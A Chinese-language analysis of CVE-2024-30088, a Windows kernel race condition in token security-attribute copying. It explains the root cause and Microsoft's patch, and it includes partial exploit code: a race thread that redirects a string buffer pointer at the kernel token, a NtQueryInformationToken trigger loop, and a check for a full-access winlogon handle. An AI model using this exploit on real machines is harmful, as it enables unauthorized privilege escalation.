漏洞背景
首先,让我们简单了解一下这个漏洞的背景。该漏洞存在于Windows内核的AuthzBasepCopyoutInternalSecurityAttributes
函数中,当内核将当前令牌对象的_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
复制到用户模式时,由于不当的内存操作,导致了潜在的安全风险。
struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
{
ULONG SecurityAttributeCount; //0x0
struct _LIST_ENTRY SecurityAttributesList; //0x8
ULONG WorkingSecurityAttributeCount; //0x18
struct _LIST_ENTRY WorkingSecurityAttributesList; //0x20
};
漏洞原理
漏洞产生的原因在于内核在复制SecurityAttributesList
时,直接将用户提供的指针设置为列表的起始地址。随后,在调用RtlCopyUnicodeString
和AuthzBasepCopyoutInternalSecurityAttributeValues
函数复制SecurityAttribute结构的名称和值时,如果存在条件竞争,就可能获得任意地址写入的原语。
漏洞利用
攻击者可以通过创建一个竞态线程,在RtlCopyUnicodeString
被调用前修改属性名称的Buffer
指针,实现对任意地址的写入操作
void RaceThread() {
ULONGLONG value = kTokenAddr + 0x40 - 4;
for (int i = 0; i < 0x10000; i++) {
*(WORD*)(RaceAddr + 2) = 2;
*(ULONGLONG*)(RaceAddr + 8) = value;
}
}
// 省略部分代码...
while(1) {
HANDLE h = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)RaceThread, 0, 0, 0);
SetThreadPriority(h, THREAD_PRIORITY_TIME_CRITICAL);
//DebugBreak();
for (int i = 0; i < 5000; i++)
pQueryInfoToken(hToken, (TOKEN_INFORMATION_CLASS)22, TokenInfo, Infolen, &retlen);
WaitForSingleObject(h, INFINITE);
hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if (hWinLogon)
break;
}
// 省略部分代码...
漏洞触发
触发这个漏洞相对简单,只需要调用NtQueryInformationToken
函数,并使用TokenAccesInformation
类即可。
补丁分析
针对这个漏洞,微软的补丁采取了一个巧妙的方法:在内核栈上使用局部变量作为缓冲区,先将安全属性的名称复制到这个缓冲区,然后再写回到用户缓冲区
补丁代码的关键部分如下:
// 省略部分代码...
*(_UNICODE_STRING *)(v13 - 0x48) = v18;
// 省略部分代码...
这里,v18
是一个局部变量,它被用来暂存Unicode字符串,确保在复制过程中不会出现条件竞争。
原文始发于微信公众号(3072):CVE-2024-30088 Windows内核漏洞分析